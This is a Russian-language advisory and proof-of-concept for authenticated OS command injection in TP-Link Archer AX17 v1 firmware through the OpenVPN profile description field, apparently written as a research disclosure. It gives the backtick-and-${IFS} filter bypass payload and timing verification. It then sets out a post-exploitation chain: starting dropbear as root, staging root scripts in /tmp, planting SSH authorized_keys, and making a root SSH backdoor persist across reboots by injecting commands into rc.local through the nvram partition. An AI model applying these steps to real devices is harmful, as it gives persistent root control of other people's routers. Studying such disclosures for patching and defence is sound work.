
Аутентифицированная инъекция команд ОС при импорте VPN-клиента в TP-Link Archer AX17 v1.
Аутентифицированная инъекция команд ОС при импорте VPN-клиента в Archer AX17 v1.
Администратор в локальной сети импортирует клиентский профиль OpenVPN. Описание профиля сохраняется как имя файла /etc/openvpn/<des>.ovpn. При чтении этого профиля путь записывается в /tmp/ovpn_curr_edit. При следующей записи VPN, когда загрузка не подготовлена, этот путь без кавычек передаётся в grep и sed, которые веб-сервер запускает от имени root.
Фильтр описания отклоняет /, ;, | и пробелы, а также ограничивает строку 64 символами. Обратные кавычки проходят, поэтому полезная нагрузка — S`sleep${IFS}1`. ${IFS} — это способ, которым команда получает пробел.
| Затронуто | Archer AX17 v1, прошивка 1.1.28 P1 [20250523-rel65103], и сборки до исправления |
| Исправлено | 1.5.0 Build 20260605 |
| Доступ | Сессия администратора в локальной сети. Недоступно до входа в систему. |
| Воздействие | Выполнение команд от имени root |
poc.js.await poc(0), затем await poc(1).poc(0) возвращается через несколько сотен миллисекунд. poc(1) занимает примерно на секунду дольше. Этот разрыв — это sleep 1, выполняющийся от имени root. Скрипт удаляет созданный им профиль.
Проверено на 1.1.28. poc(1) занял 1238 мс, poc(3) — 3504 мс, poc(7) — 7204 мс, при контрольном значении 324 мс.
Инъекция выполняется от имени root, поэтому она может запустить dropbear. В этой сборке важны две вещи:
-L («Enable SSH session login»). Без него dropbear аутентифицирует, а затем отвечает на каждый запрос оболочки с exec request failed./etc — это ramfs. rc.local, /etc/shadow и /etc/dropbear/authorized_keys пересоздаются из squashfs при каждой загрузке. Сохраняются только разделы nvram.Это разделяет подход на временный и постоянный метод.
ssh-temp.js содержит два вызова:
await sshTemp(); // dropbear -C -L -p 2222
await runStaged('r'); // sh /tmp/r as root
sshTemp() запускает dropbear в режиме веб-учётной записи. Войдите с паролем администратора роутера:
ssh -p 2222 -o HostKeyAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 admin@<router>
Эта оболочка имеет uid 1000 (admin), а не root, и не может писать в /etc. Чтобы повысить привилегии, разместите ssh-root.sh в /tmp/r поверх неё:
cat > /tmp/r <<'EOF'
... ssh-root.sh with your public key ...
EOF
Затем вызовите runStaged('r') из консоли. Инъекция запускает скрипт с uid 0, записывает /etc/dropbear/authorized_keys и запускает dropbear -L -p 2227. (runStaged строит /tmp/<name> из ${PWD%www}, поскольку рабочий каталог веб-бэкенда — /www.) Подключитесь:
ssh -i <key> -p 2227 -o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 root@<router>
Это сохраняется до следующей перезагрузки.
Запустите ssh-persist.sh от имени root (например, через временную root-оболочку). Он добавляет rc.local в раздел nvram profile. S10boot восстанавливает этот раздел в /etc до того, как S95done запускает /etc/rc.local, поэтому команды выполняются при каждой загрузке.
Раздел представляет собой зашифрованный построчный uci XML. <dir> создаёт /etc/<dir>, <file> создаёт /etc/<dir>/<file>, а имя тега записывается дословно после option . Поэтому тег, начинающийся с ;, попадает в rc.local как
option ;<command> # 'x'
что выполняет <command> от имени root. Скрипт сохраняет блок profile.d от производителя и записывает:
option ;echo <pubkey>|tee /etc/dropbear/authorized_keys # 'x'
option ;/usr/sbin/dropbear -L -p 22 # 'x'
После перезагрузки root SSH работает на порту 22 с тем же ключом. Сначала сделайте резервную копию раздела; скрипт выводит путь резервной копии и команду восстановления.
Примечание: chpasswd отсутствует в этой прошивке. Не пытайтесь задать пароль root с его помощью; используйте authorized_keys (как выше) или passwd.